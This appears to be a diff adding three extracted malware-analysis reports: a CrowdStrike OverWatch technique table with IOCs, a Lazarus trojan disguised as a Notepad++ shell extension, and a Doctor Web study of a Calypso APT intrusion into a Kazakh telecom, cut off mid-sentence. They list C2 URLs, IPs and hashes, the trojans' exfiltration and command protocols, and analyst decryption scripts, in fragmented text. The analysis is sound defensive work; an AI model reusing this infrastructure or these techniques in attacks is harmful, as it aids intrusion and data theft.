+as legitimate system binaries (AdFind as svchost.exe),
+match the system
+s role (GoldMax), or appear
+legitimate (TrailBlazer as an apparent Adobe utility).
+Additionally, the threat actor renamed their systems
+prior to connecting to victim
+s VPNs to match the
+victim
+s system naming convention
+20/22
+Discovery
+T1087.002:
+Account
+Discovery:
+Domain
+Account
+T1482: Domain
+Trust Discovery
+The threat actor used AdFind, standard PowerShell
+cmdlets, and custom tooling to identify various pieces
+of information from Active Directory
+T1069.002:
+Permission
+Groups
+Discovery:
+Domain
+Groups
+Defense
+Evasion /
+Lateral
+Movement
+T1550.001:
+Use Alternate
+Authentication
+Material:
+Application
+Access Token
+The threat actor used compromised service principals
+to make changes to the Office 365 environment.
+Collection
+T1213.: Data
+from
+Information
+Repositories:
+The threat actor accessed data from Information
+Repositories
+Persistence
+T1098.001:
+Account
+Manipulation:
+Additional
+Cloud
+Credentials
+The threat actor added credentials to O365 Service
+Principals
+Persistence
+T1078.004:
+Valid Accounts:
+Cloud
+Accounts
+The threat actor created new O365 Service Principals
+to maintain access to victim
+s environments
+Discovery
+T1057:
+Process
+Discovery
+The threat actor regularly interrogated other systems
+using tasklist.exe
+Reconnaissance
+T1595.001:
+Active
+Scanning:
+Scanning IP
+Blocks
+The threat actor probed external services in an attempt
+to regain access to the environment
+Indicators of Compromise (IOCs)
+21/22
+Indicator
+Details
+http://satkas.waw[.]pl/rainloop/forecast
+TrailBlazer
+1326932d63485e299ba8e03bfcd23057f7897c3ae0d26ed1235c4fb108adb105
+TrailBlazer
+SHA256
+vm-srv-1.gel.ulaval.ca
+GoldMax C2
+2a3b660e19b56dad92ba45dd164d300e9bd9c3b17736004878f45ee23a0177ac
+GoldMax
+SHA256
+156.96.46.116
+Infrastructure
+188.34.185.85
+Infrastructure
+212.103.61.74
+Infrastructure
+192.154.224.126
+Infrastructure
+23.29.115.180
+Infrastructure
+104.237.218.74
+Infrastructure
+23.82.128.144
+Infrastructure
+Additional Resources
+Read about the latest trends in threat hunting and more in the 2021 Threat Hunting
+Report or simply download the report now.
+Learn more about Falcon OverWatch proactive managed threat hunting.
+Watch this video to see how Falcon OverWatch proactively hunts for threats in your
+environment.
+Learn more about the CrowdStrike Falcon
+ platform by visiting the product webpage.
+Test CrowdStrike next-gen AV for yourself. Start your free trial of Falcon Prevent
+today.
+22/22
+A detailed analysis of Lazarus APT malware disguised as Notepad++ Shell Extension
+cybergeeks.tech/a-detailed-analysis-of-lazarus-malware-disguised-as-notepad-shell-extension
+Summary
+Lazarus has targeted its victims using job opportunities documents for companies such as LockHeed Martin, BAE Systems, and Boeing. In this
+case, the threat actor has targeted people that are looking for jobs at Boeing using a document called Boeing BDS MSE.docx
+(https://twitter.com/ShadowChasing1/status/1455489336850325519). The malware extracts the hostname, username, network information, a
+list of processes, and other information that will be exfiltrated to one out of the four C2 servers. The data targeted for exfiltration is
+compressed, XOR-encrypted and then Base64-encoded before being transmitted to the C2 server. The Trojan implements four actions that
+include downloading and executing a .exe or .dll file, loading a PE (Portable Executable) into the process memory, and executing shellcode.
+Technical analysis
+SHA256: 803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269
+The file is a DLL that has 7 exports. Only one of these functions implements malicious activity (DllGetFirstChild):
+Figure 1
+The malware retrieves the User Agent by calling the ObtainUserAgentString function. There is also a User Agent that is hardcoded in the binary
+Mozilla / 5.0 (Windows NT 10.0; WOW64; Trident / 7.0; rv:11.0) li
+, which is Internet Explorer on Windows 10:
+Figure 2
+The binary extracts the current system date and time using the GetSystemTimeAsFileTime API:
+Figure 3
+GetModuleHandleW is utilized to retrieve a module handle for ntdll.dll:
+Figure 4
+The process gets the address of the following export functions using the GetProcAddress routine: 
+RtlGetCompressionWorkSpaceSize
+RtlCompressBuffer
+RtlDecompressBuffer
+RtlGetVersion
+. An example of a function call is shown in figure 5:
+1/16
+Figure 5
+The NetBIOS name of the local computer is extracted via a function call to GetComputerNameW:
+Figure 6
+The GetAdaptersInfo API is used to retrieve adapter information for the local machine:
+Figure 7
+The MAC address extracted above is written to a buffer:
+Figure 8
+The file extracts the command-line string for the current process:
+Figure 9
+CommandLineToArgvW is utilized to extract an array of pointers to the command-line arguments, along with a count of arguments (similar to
+argv and argc):
+Figure 10
+According to an article published at https[:]//zhuanlan.zhihu.com/p/453894016, the malware is supposed to run with the following
+parameters:
+NTPR
+P6k+pR6iIKwJpU6oR6ZilgKPL7IxsitJAnpIYSx2KldSSRFFyUIzTBVFAwgzBkI2PS/+EgASBik/GgYBwBbRNy7pP+Xq4uTsxOXU6NPmudaEz7Xy5
+The binary decrypts the above parameter using a custom algorithm displayed in figure 11. The list of resulting strings contains multiple C2
+servers:
+2/16
+Figure 11
+Figure 12
+The following URLs have been decrypted:
+https[:]//mante.li/images/draw.php
+https[:]//bmanal.com/images/draw.php
+https[:]//shopandtravelusa.com/vendor/monolog/monolog/src/Monolog/monolog.php
+https[:]//industryinfostructure.com/templates/worldgroup/view.php
+The GetNetworkParams routine is used to retrieve network parameters for the local computer:
+Figure 13
+The malicious process extracts the name of the DNS domain assigned to the local host (0x2 = ComputerNameDnsDomain):
+Figure 14
+The following network information is written to a temporary buffer:
+3/16
+Figure 15
+Figure 16
+The process gets the username associated with the current thread by calling the GetUserNameW function:
+Figure 17
+4/16
+The binary takes a snapshot of all processes in the system using the CreateToolhelp32Snapshot API (0x2 = TH32CS_SNAPPROCESS):
+Figure 18
+The file extracts information about the first process from the snapshot via a call to Process32FirstW:
+Figure 19
+The malicious binary opens the process object using the OpenProcess routine (0x410 = PROCESS_QUERY_INFORMATION |
+PROCESS_VM_READ):
+Figure 20
+Whether the file doesn
+t have enough rights to open a process, it copies 
+Unknown
+ along with the process name to a temporary buffer.
+The binary takes a snapshot of the current process along with all its modules using the CreateToolhelp32Snapshot API (0x8 =
+TH32CS_SNAPMODULE):
+Figure 21
+Module32FirstW is utilized to retrieve information about the first module associated with the current process:
+Figure 22
+The malicious DLL gets information about the next process recorded in the snapshot:
+Figure 23
+The OpenProcessToken routine is used to open the access token associated with a process (0x8 = TOKEN_QUERY):
+5/16
+Figure 24
+GetTokenInformation is utilized to extract the user account of the token (0x1 = TokenUser):
+Figure 25
+The process retrieves the name of the account for a SID and the name of the first domain on which the SID is found via a function call to
+LookupAccountSidW:
+Figure 26
+GetTokenInformation is utilized to extract the Terminal Services session identifier associated with the token (0xC = TokenSessionId):
+Figure 27
+The RtlGetCompressionWorkSpaceSize API is used to determine the correct size of the WorkSpace buffer for the RtlCompressBuffer function
+(0x102 = COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM):
+Figure 28
+The process compresses the buffers from figures 15 and 16 using the RtlCompressBuffer function (0x102 =
+COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM):
+6/16
+Figure 29
+The DLL randomly chooses a C2 server from the list of four. It initializes the application
+s use of the WinINet functions via a call to
+InternetOpenW:
+Figure 30
+InternetCanonicalizeUrlW is used to canonicalize the URL:
+Figure 31
+The malware cracks the URL into its component parts by calling the InternetCrackUrlW API:
+Figure 32
+The connect, send and receive timeouts are set to 150s using the InternetSetOptionW routine (0x2 =
+INTERNET_OPTION_CONNECT_TIMEOUT, 0x5 = INTERNET_OPTION_SEND_TIMEOUT, 0x6 =
+INTERNET_OPTION_RECEIVE_TIMEOUT):
+Figure 33
+7/16
+Figure 34
+Figure 35
+The DLL opens an HTTP session to the C2 server on port 443 (0x3 = INTERNET_SERVICE_HTTP):
+Figure 36
+The binary creates a POST request handle to the URI extracted from the specified URL:
+Figure 37
+The security flags for the handle are set using the InternetSetOptionW API (0x1F = INTERNET_OPTION_SECURITY_FLAGS, 0xF180 =
+SECURITY_FLAG_IGNORE_REVOCATION | SECURITY_FLAG_IGNORE_UNKNOWN_CA |
+SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
+SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTP | SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTPS):
+Figure 38
+The buffer (concatenation of two buffers) that was compressed earlier is encrypted using XOR (key = 32-byte array):
+8/16
+Figure 39
+Figure 40
+The encrypted buffer from above is encoded using Base64:
+Figure 41
+9/16
+Figure 42
+The binary constructs the following parameters 
+search=YOIPOUP&ei=6128&oq=<Base64-encoded buffer>
+Figure 43
+The User Agent extracted earlier is added to the HTTP request handle using the HttpAddRequestHeadersW routine (0xA0000000 =
+HTTP_ADDREQ_FLAG_REPLACE | HTTP_ADDREQ_FLAG_ADD):
+Figure 44
+HttpSendRequestW is used to exfiltrate data to the C2 server:
+Figure 45
+s worth mentioning that all C2 servers were down during our analysis. We
+ve emulated network connections using FakeNet.
+The size of the C2 response is retrieved by calling the HttpQueryInfoW routine (0x5 = HTTP_QUERY_CONTENT_LENGTH):
+Figure 46
+The binary copies the C2 response to a buffer via a function call to InternetReadFile:
+10/16
+Figure 47
+The malicious process parses the data between the 
+<html></html>
+ and 
+<div></div>
+ tags:
+Figure 48
+The malware performs a similar POST request with different parameter values 
+search=DOWPANY&ei=6128
+Figure 49
+The C2 response is decoded using Base64, and then XOR decrypted. The malware implements 4 different actions that will be explained based
+on the EAX register value:
+Figure 50
+11/16
+EAX = 0 
+ load a PE into the current process memory
+GetNativeSystemInfo is utilized to retrieve information about the current system:
+Figure 51
+The DLL performs multiple VirtualAlloc function calls that will allocate memory for the new executable (0x3000 = MEM_COMMIT |
+MEM_RESERVE, 0x4 = PAGE_READWRITE):
+Figure 52
+The malware changes the memory protection depending on the segment (for example, the code segment
+s memory protection is set to 0x20 =
+PAGE_EXECUTE_READ):
+Figure 53
+After a few more operations, the process passes the control flow to the new PE.
+EAX = 1 
+ download and execute a .exe file
+The binary gets the AppData folder path by calling the SHGetFolderPathW routine (0x1c = CSIDL_LOCAL_APPDATA):
+Figure 54
+GetTickCount is used to extract the number of milliseconds that have elapsed since the system was started:
+Figure 55
+The malware creates a file based on the above value (0x40000000 = GENERIC_WRITE, 0x1 = FILE_SHARE_READ, 0x2 =
+CREATE_ALWAYS, 0x80 = FILE_ATTRIBUTE_NORMAL):
+12/16
+Figure 56
+The newly created file is populated with content that is supposed to be transmitted by the C2 server:
+Figure 57
+The malicious binary executes the file by calling the CreateProcessW API:
+Figure 58
+EAX = 2 
+ download and execute a .dll file
+The execution flow is similar to the above case, and we only highlight the difference. Rundll32.exe is used to execute the DLL file (an export
+function can also be specified in the command line):
+13/16
+Figure 59
+EAX = 3 
+ copy and execute shellcode
+The process allocates memory using the VirtualAlloc routine (0x1000 = MEM_COMMIT, 0x40 = PAGE_EXECUTE_READWRITE):
+Figure 60
+The DLL implements an anti-analysis check. It calls the isProcessorFeaturePresent API in order to determine whether _fastfail() is available. If
+this feature is not supported, the current process is terminated by calling the GetCurrentProcess and TerminateProcess functions (0x17 =
+PF_FASTFAIL_AVAILABLE):
+Figure 61
+The malware jumps to the shellcode and then frees the memory area allocated earlier:
+14/16
+Figure 62
+As we mentioned at the beginning of the analysis, the threat actor only added the export function explained above, and the others are
+legitimate.
+ve studied a legitimate Notepad++ shell extension (SHA256: f3e2e6f9e7aa065e89040a0c16d1f948489b3751e5eb5efac8106d5f7d65d98d
+64-bit) and compared the export functions between the 2 files. As we can see below, the functions are very similar:
+Figure 63
+Figure 64
+References
+15/16
+MSDN: https://docs.microsoft.com/en-us/windows/win32/api/
+Fakenet: https://github.com/fireeye/flare-fakenet-ng
+VirusTotal: https://www.virustotal.com/gui/file/803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269
+MalwareBazaar: https://bazaar.abuse.ch/sample/803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269/
+INDICATORS OF COMPROMISE
+C2 domains:
+mante.li
+bmanal.com
+shopandtravelusa.com
+industryinfostructure.com
+SHA256: 803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269
+URLs:
+https[:]//mante.li/images/draw.php
+https[:]//bmanal.com/images/draw.php
+https[:]//shopandtravelusa.com/vendor/monolog/monolog/src/Monolog/monolog.php
+https[:]//industryinfostructure.com/templates/worldgroup/view.php
+16/16
+Study of an APT attack on a
+telecommunications
+company in Kazakhstan
+ Doctor Web, Ltd., 2022. All rights reserved.
+This document is the property of Doctor Web, Ltd. (hereinafter - Doctor Web). No part of this
+document may be reproduced, published or transmitted in any form or by any means for any
+purpose without proper attribution.
+Doctor Web develops and distributes Dr.Web information security solutions which provide
+efficient protection from malicious software and spam.
+Doctor Web customers can be found among home users from all over the world and in
+government enterprises, small companies and nationwide corporations.
+Dr.Web antivirus solutions are well known since 1992 for continuing excellence in malware
+detection and compliance with international information security standards. State certificates and
+awards received by the Dr.Web solutions, as well as the globally widespread use of our products
+are the best evidence of exceptional trust to the company products.
+Study of an APT attack on a telecommunications company in Kazakhstan
+3/23/2022
+Doctor Web Head Office
+2-12A, 3rd str. Yamskogo polya
+Moscow, Russia
+125040
+Website: www.drweb.com
+Phone: +7 (495) 789-45-87
+Refer to the official website for regional and international office information.
+Table of Contents
+Introduction
+Remote Rover
+Conclusion
+Operating Routine of Discovered Malware Samples
+BackDoor.PlugX.93
+BackDoor.Siggen2.3622
+BackDoor.Whitebird.30
+Trojan.DownLoader43.44599
+Trojan.Loader.891
+Trojan.Loader.896
+Trojan.Uacbypass.21
+Appendix. Indicators of Compromise
+Introduction
+In October 2021, one of Kazakhstan
+s telecommunication companies contacted Doctor Web,
+with suspicion of malware in the corporate network. During the first look, we found backdoors
+that were previously only used in targeted attacks. During the investigation, we also found out
+that the company
+s internal servers had been compromised since 2019. For several years,
+Backdoor.PlugX.93 and BackDoor.Whitebird.30, the Fast Reverse Proxy (FRP) utilities, and
+RemCom have been the main attackers' tools.
+Because of the hackers' mistake, we got a unique opportunity to study the lists of victims and
+find out what backdoor management tools were used. Based on the acquired information, we
+concluded that the hacker group specialized in compromising the Asian companies
+ mail servers
+with Microsoft Exchange software installed. That said, we also found victims from other
+countries, including:
+ Egyptian government agency
+ Italian airport
+ USA marketing company
+ Canadian transport and woodworking companies
+The logs collected along with the command and control server included victims infected from
+August 2021 to early November of the same year. Yet, in some cases, BackDoor.Whitebird.30
+was installed not only on the server running Microsoft Exchange, but on domain controllers, too.
+Based on the tools, methods, and infrastructure used, we conclude that the Calypso APT hacker
+group is behind the attack.
+Remote Rover
+Command and control server for BackDoor.Whitebird.30 calls Remote Rover. It allows hackers
+to remotely launch applications, update the backdoor configuration, download and upload files.
+Besides that, you can use a command shell via Remote Rover. This is what the control server
+interface looks like:
+Remote Rover came with a configuration file CFG\default.ini with the following content:
+\2021\RR\
+\telecom.cfg
+OneClock.exe
+If you translate the content from Chinese into English, you can get this path:
+E:\personal use\Independent research and development
+remote\2021\RR\Configuration backup\telecom.cfg
+For a detailed description of the malware used and how it works, see the Dr.Web Virus Library.
+ BackDoor.Siggen2.3622
+ BackDoor.PlugX.93
+ BackDoor.Whitebird.30
+ Trojan.Loader.891
+ Trojan.Loader.896
+ Trojan.Uacbypass.21
+ Trojan.DownLoader43.44599
+Conclusion
+During the investigation of the targeted attack, Doctor Web virus analysts found and described
+several backdoors and trojans. It
+s worth noting that the attackers managed to remain
+undetected for as long as other targeted attack incidents. A hacker group compromised a
+telecommunications company's network more than two years ago.
+Doctor Web specialists recommend regularly checking network resources
+ efficiency and timely
+fixing failures that may indicate the presence of malware on the network. Data compromise is
+one of targeted attacks
+ main dangers, but the long-term presence of intruders is also a cause
+for concern. Such development allows them to control the organization
+s work for many years
+and gain access to especially sensitive information at the proper time. If you suspect malicious
+activity in the corporate network, the best option is to contact the Doctor Web virus laboratory
+for qualified help. Dr.Web FixIt! helps you detect malware on servers and workstations. Taking
+adequate measures timely will minimize the damage and prevent the serious consequences of
+targeted attacks.
+Operating Routine of Discovered Malware Samples
+BackDoor.PlugX.93
+Added to the Dr.Web virus database: 2021-10-22
+Virus description added: 2021-10-30
+Packer: absent
+Compilation date: 2020-08-13
+SHA1 hash: a8bff99e1ea76d3de660ffdbd78ad04f81a8c659
+Description
+The PlugX backdoor module is written in C. It
+s designed to decrypt the shellcode from the
+registry that loads the main backdoor into memory.
+Operating principle
+First, the backdoor receives the address of the VirtualProtect() function by hash. It then
+uses this address to change access rights to PAGE_EXECUTE_READWRITE, starting from the
+function at 0x10001000 and ending with the entire .text section:
+Getting the function
+s address by the hash passed as a parameter:
+Script to get a function by hash:
+import pefile
+ror = lambda val, r_bits, max_bits: \
+((val & (2**max_bits-1)) >> r_bits%max_bits) | \
+(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
+max_bits = 32
+library_path_list = [...] # absolute path dlls
+def get_func_addr(hash):
+for library_path in library_path_list:
+library = library_path.split('\\')
+name_dll = library[len(library) - 1].upper() + b'\x00'
+hash_name_dll = 0
+for i in name_dll:
+hash_name_dll = ord(i) + ror(hash_name_dll, 0x0D, max_bits)
+hash_name_dll = 0 + ror(hash_name_dll, 0x0D, max_bits)
+pe = pefile.PE(library_path)
+for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
+func_name = exp.name + b'\x00'
+hash_name_func = 0
+for i in func_name:
+hash_name_func = ord(i) + ror(hash_name_func, 0x0D,
+max_bits)
+if (hash_name_dll + hash_name_func == hash):
+print '{}-> 0x{:08x} -> {}'.format(name_dll, hash,
+exp.name)
+return
+Changing the permissions to PAGE_EXECUTE_READWRITE was necessary to decrypt the code
+using the XOR operation:
+One version of the backdoor has dynamic XOR encryption. It has decryption at the beginning of
+the function:
+And with encryption at the end of the function:
+Facilitating the script
+s work for IDAPython:
+import idaapi
+def xor_dec(address, count, key):
+for i in xrange(count):
+idaapi.patch_dword(address, idaapi.get_dword(address) ^ key)
+key += idaapi.get_dword(address)
+address += 4
+Before performing malicious actions, the backdoor, as in the case of VirtualProtect(),
+receives functions
+ addresses that it needs to work
+Received features:
+Function name
+Hash
+CloseHandle
+0x528796C6
+CreateFileA
+0x4FDAF6DA
+DeleteFileA
+0x13DD2ED7
+ExitProcess
+0x56A2B5F0
+GetAdaptersInfo
+0x62C9E1BD
+GetModuleFileNameA
+0xFE61445D
+GetSystemDirectoryA
+0x60BCDE05
+LoadLibraryA
+0x726774C
+ReadFile
+0xBB5F9EAD
+Function name
+Hash
+RegCloseKey
+0x81C2AC44
+RegDeleteValueA
+0x3846A3A8
+RegEnumValueA
+0x2EC95AA4
+RegOpenKeyExA
+0x3E9E3F88
+RegQueryValueExA
+0x8FF0E305
+VirtualAlloc
+0xE553A458
+VirtualFree
+0x300F2F0B
+VirtualProtect
+0xC38AE110
+WinExec
+0x876F8B31
+WriteFile
+0x5BAE572D
+In addition, the backdoor checks if it is executed in a sandbox:
+After receiving the function addresses and checking for execution in the sandbox,
+BackDoor.PlugX.93 removes the updatecfgSetup task from the task scheduler:
+The key for shellcode encryption is MD5 from the following registry key values:
+HKLM\Software\Microsoft\Windows NT\CurrentVersion\InstallDate
+HKLM\System\ControlSet001\Control\ComputerName\ComputerName
+The shellcode is stored in the following registry keys:
+HKLM\Software\BINARY
+HKCU\Software\BINARY
+Before running the shellcode, it
+ll be decrypted in 2 steps: first, using the RC4 algorithm:
+then, with XOR:
+BackDoor.Siggen2.3622
+Added to the Dr.Web virus database: 2021-11-03
+Virus description added: 2021-xx-xx
+Packer: UPX
+SHA1 hash: be4d8344669f73e9620b9060fd87bc519a05617a
+Description
+A backdoor written in Go. It
+s packed by UPX. Investigated backdoor version V2.5.5 z 2021.7.19.
+Operating principle
+In the beginning, the malicious code checks if another backdoor copy is running. The trojan
+checks for the c:\windows\inf\mdmslbv.inf file. If it exists, the trojan starts reading. You
+can use the following script to decrypt:
+import sys
+with open(sys.argv[1], 'rb') as f:
+d = f.read()
+s = bytearray()
+for i in range(len(d)):
+s.append(d[i])
+for i in range(len(s)-2, 0, -1):
+s[i] = (((s[i + 1] * s[i + 1]) ^ s[i]) & 0xff)
+with open(sys.argv[1] + '.dec', 'wb') as f:
+f.write(s)
+Encrypted file
+s length
+The packet
+s structure:
+ random string from 10 to 19 characters long
+ between the <a>...</a> tags contains the backdoor process
+s PID
+ between the <b>...</b> tags is the process
+s name
+ random string from 10 to 19 characters long
+The trojan checks for the existence of a process with the specified parameters. If it finds it, the
+trojan terminates its work.
+If it doesn
+t find a process with the specified parameters or the mdmslbv.inf file itself, the
+trojan generates data as shown above. Then, it encrypts and writes to the c:
+\windows\inf\mdmslbv.inf.
+Communication with the command and control server
+The trojan has command and control server: blog[.]globnewsline[.]com.
+The trojan sends a GET request to the following URL:
+hxxps://blog.globnewsline.com:443/db/db.asp using User-Agent "Mozilla/5.0 (X11;
+Windows x86_64; rv:70.0) Gecko/20100101 Firefox/70.0". If the server response contains the
+substring Website under construction, then the trojan considers that the control server is
+available. If the server is unavailable, the malicious code checks for the presence of a proxy
+configuration file c:\windows\inf\bksotw.inf. If that
+s present, the trojan reads the
+parameters written in the file.
+The backdoor uses MAC addresses as the network interface bot ID. For heartbeat requests, the
+following POST requests are used:
+https://blog.globnewsline.com:443/db/db.asp?m=w&n=~A<macaddr>.t
+where <macaddr> is the MAC address string, converted to uppercase with colons removed.
+Next, a GET request is sent to get a list of commands:
+https://blog.globnewsline.com:443/db/A<macaddr>.c
+The server response is encrypted in the same way as the file with the backdoor process
+s PID.
+The following commands can be executed:
+ down
+ bgd
+ getinfo
+The command
+s result is encrypted the same way as the command itself was encrypted. Then, it
+sent in the POST request
+s body to the following URL:
+https://blog.globnewsline.com:443/db/A<macaddr>.c
+BackDoor.Whitebird.30
+Added to the Dr.Web virus database: 2021-10-21
+Virus description added: 2021-xx-xx
+Packer: absent
+Compilation date: 2021-29-03
+SHA1 hash: abfd737b14413a7c6a21c8757aeb6e151701626a
+Description
+A multi-functional backdoor trojan for 64-bit and 32-bit Microsoft Windows operating system
+family. It
+s designed to establish an encrypted connection with the command and control server
+and unauthorized control of an infected computer. It has a file manager and Remote Shell
+functions.
+Preparing procedures
+At the beginning of the work, the backdoor decrypts the overlay provided by the shellcode. The
+first encryption layer is removed by the following algorithm:
+k = 0x37
+s = bytearray()
+for i in range(len(d)):
+c = d[i] ^ k
+s.append(c)
+k = (k + c) & 0xff
+The second layer is the XOR operation with the key 0xCC.
+This overlay contains:
+ configuration of trojan
+ module for bypassing UAC
+Configuration looks as follows:
+struct st_proxy
+char proxy_addr[32];
+char proxy_login[64];
+char proxy_password[64];
+_BYTE pad[2];
+struct st_config
+char cnc_addr[4][34];
+st_proxy proxies[4];
+char home_dir[260];
+char exe_name[50];
+char loader_name[50];
+char shellcode_name[50];
+char software_name[260];
+char startup_argument[50];
+_DWORD reg_hkey;
+char reg_run_key[200];
+char reg_value_name[52];
+char taskname[52];
+_DWORD mstask_mo;
+char svcname[50];
+char svcdisplayname[50];
+char svcdescription[256];
+char reg_uninstall_key[50];
+char inject_target_usr[260];
+char inject_target[260];
+_BYTE byte0[2];
+_BYTE flags;
+_BYTE pad[3];
+_DWORD keepalivetime;
+unsigned __int8 key[16];
+The flags field displays which autoload methods the trojan should use, and what launch
+features are:
+enum em_flags
+GOT_ENOUGH_RIGHTS= 0x1,
+UNK_FLAG_2 = 0x2,
+UNK_FLAG_4 = 0x4,
+INSTALL_AS_MSTASK = 0x8,
+INSTALL_AS_SERVICE = 0x10,
+RUN_WITH_ARGUMENT = 0x20,
+INJECT_TO_PROCESS = 0x40,
+RUN_AS_USER = 0x80,
+If the launch is specified via the task scheduler (INSTALL_AS_MSTASK), then the configuration
+flags creates a mutex after decrypting. That prevents restart:
+Next, it checks if the trojan has enough rights to launch in the way that was previously specified
+in the configuration. If not, it restarts itself to bypass UAC.
+Trojan checks for the presence of a file in the path
+C:Users\Public\Downloads\clockinstall.tmp, and if it exists, it deletes
+clockinstall.tmp.
+If the clockinstall.tmp file is missing, it checks if the install file exists in the folder from
+which the trojan was launched. If it exists, it removes it.
+Then, it installs itself into the system in accordance with the type specified in the configuration.
+The backdoor will also try to hide its activity from the user.
+If the trojan runs on a 32-bit OS, then the same mechanism for hiding a service from running
+ones is valid, as in BackDoor.PlugX.28, deleting that structure from the list of
+ServiceDatabase structures. That corresponds to the trojan service.
+If the configuration specifies that the trojan should be injected into a process, then it
+ll be
+injected into the target process. If the RUN_AS_USER flag is specified in the configuration, then
+the trojan will wait until at least one authorized user appears. After that, it
+ll create its own
+process, but on behalf of the user.
+Regardless of the trojan's autorun type, only one process can communicate with the command
+and control server. This creates a mutex:
+Before attempting to establish a connection with the command and control server, trojan
+determines the proxy server settings. For this purpose:
+ The presence of the <process_name>.ini file in the folder from which the trojan process
+was launched is checked. Example of the configuration:
+[AntiVir]
+Cloud=0A0804D2242000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000299CC1003C9CC10098F11900DCF1190062F21900000000
+00E02AC300CC004501D8F11900000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000000000001
+ Reads a file named <loader_name>.tmp in the trojan folder, where <loader_name> is
+the value from the configuration
+ Reads proxy settings from registry
+[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings,
+keys ProxyEnable and ProxyServer
+ Reads proxy settings from Mozilla Firefox settings - %APPDATA%
+\Mozilla\Firefox\<profile>\prefs.js
+ Checks for stored login:password from the proxy server in Mozilla Firefox and Internet
+Explorer
+Control server protocol
+Establishing a connection to the server mimics the creation of a TLS1.0 connection between the
+client and the server. Trojan body contains two buffers:
+1. Contains the TLS1.0 Client Hello package:
+2. Contains TLS 1.0 Client Key Exchange packets with key length 0x100 bytes, Change Cipher
+Spec, Client Handshake Finished:
+When sending a Client Hello packet, the trojan encrypts all bytes of the Client Random field,
+starting from the 4th one, using the XOR method with random bytes. It also records the current
+time in the first 4. The server's response to this message is accepted, but the data is ignored.
+When sending the second packet, the backdoor also encrypts the Client Key Exchange packet
+public key field using the XOR method with random bytes, and writes its 28-byte key into the
+data of the Client Handshake Finished packet. That
+ll be used to encrypt and decrypt packets
+sent or received from the server. The backdoor encrypts the last 4 bytes of the Client Handshake
+Finished packet with random bytes. Then, it sends it to the command and control server. In
+response, the server sends its own key. That key is used to initialize the key shared with the client.
+After that, the backdoor enters the command processing cycle from the control server. The
+traffic between the client and the server is encrypted using the RC4 algorithm.
+The list of commands:
+opcode
+Command
+0x01
+Gathering information regarding the infected device
+0x02
+Remote shell
+0x03
+File manager (see below for commands ending in 3)
+0x100
+Keep-Alive
+0x103
+Open file for writing
+0x203
+Download a file
+0x303
+Data to be written
+0x400
+Reconnect to server
+0x403
+Obtain information about disk or directory listing;
+0x500
+To finish work
+0x503
+Move a file
+0x600
+Delete proxy configuration ini file
+0x603
+Delete a file
+0x703
+Run a process
+0x700
+Execute a command during ShellExecute
+0x800
+Renew configuration
+Trojan.DownLoader43.44599
+Added to the Dr.Web virus database: 2021-10-15
+Virus description added: 2021-10-20
+Packer: absent
+Compilation date: 2020-07-13
+SHA1 hash: 1a4b8232237651881750911853cf22d570eada9e
+Description
+The trojan is written in C++. It
+s used for unauthorized control of an infected computer.
+Operating principle
+In the beginning, the trojan decrypts the C&C server
+s IP addresses and ports using the XOR
+operation:
+import idaapi
+address = 0x416200
+for i in xrange(0x7c):
+idaapi.patch_byte(address + i, idaapi.get_byte(address + i) ^ 0xEF)
+Decryption result:
+C&C server
+159.65.157.100:443
+Communication with it occurs using sockets:
+Depending on the time, the connection to the required C&C server will be selected:
+The trojan creates file tmp.0 in folder %tmp%, that it use as log.
+Collect information about the system:
+Trojan.DownLoader43.44599 pushes each value onto a stack before encrypting and sending the
+collected data. The transferred data looks as follows:
+struct computer_info {
+string computer_name;
+string user_name;
+uint32_t major_version;
+uint32_t minor_version;
+uint32_t build_number;
+uint32_t computer_bitness;
+string March01;
+uint32_t code_page_id;
+uint32_t oem_code_page_id;
+To encrypt the information collected about the system, the AES128 algorithm is used in CBC
+mode.
+The key and initialization vector are embedded inside:
+The decryption method looks as follows:
+from Crypto.Cipher import AES
+key = '\x95\x2B\x2D\xBF\x09\xC5\x2F\x80\xB4\xBC\x47\x27\x29\xB3\x28\x09'
+iv = '\x63\x5F\x72\x2A\xBB\xE3\xE8\x95\xF8\xF9\x32\x87\x53\x6A\x77\xFB'
+enc = ...
+decipher = AES.new(key, AES.MODE_CBC, iv)
+open('dec', 'wb').write(decipher.decrypt(enc))
+The command execution cycle received from the C&C server:
+Table of commands compiled from the results of this cycle:
+Command ID
+Command
+0x51
+Creating cmd.exe process
+0x52
+Execution command exit in cmd.exe
+0x54
+Execute commands in the cmd.exe console;
+0x60
+Creating the flow that reads, writes, and encrypts files.
+Trojan.Loader.891
+Added to the Dr.Web virus database: 2021-10-15
+Virus description added: 2021-xx-xx
+Packer: absent
+Compilation date: 2021-09-03 12:04:44
+SHA1 hash: 595b5a7f25834df7a4af757a6f1c2838eea09f7b
+Description
+This trojan is written in C. The program contains several files, and the trojan uses each file
+sequentially. The trojan
+s main task is to decrypt the shellcode and execute it. The decrypted
+shellcode contains BackDoor.Whitebird.30, a module for bypassing UAC and backdoor
+configuration.
+Operating principle
+The trojan folder contains the following files:
+ mcupdui.exe 
+ the executable file into which the malicious library is loaded using
+Hijacking DLL has a valid McAfee signature:
+4F638B91E12390598F037E533C0AEA529AD1A371: CN=McAfee, Inc., OU=IIS,
+OU=Digital ID Class 3 - Microsoft Software Validation v2,
+O=McAfee, Inc., L=Santa Clara, S=California, C=US
+ McUiCfg.dll 
+ downloader
+ mscuicfg.dat 
+ encrypted shellcode
+ mcupdui.ini 
+ configuration of trojan
+To move to the main malicious functionality, the trojan modifies the process memory:
+The instruction following the malicious library
+s download library is modified:
+Trojan.Loader.891 finds all the functions it needs by hashes using the PEB (Process Environment
+Block) structure.
+At the same time, the names of libraries and functions are hashed differently: library names are
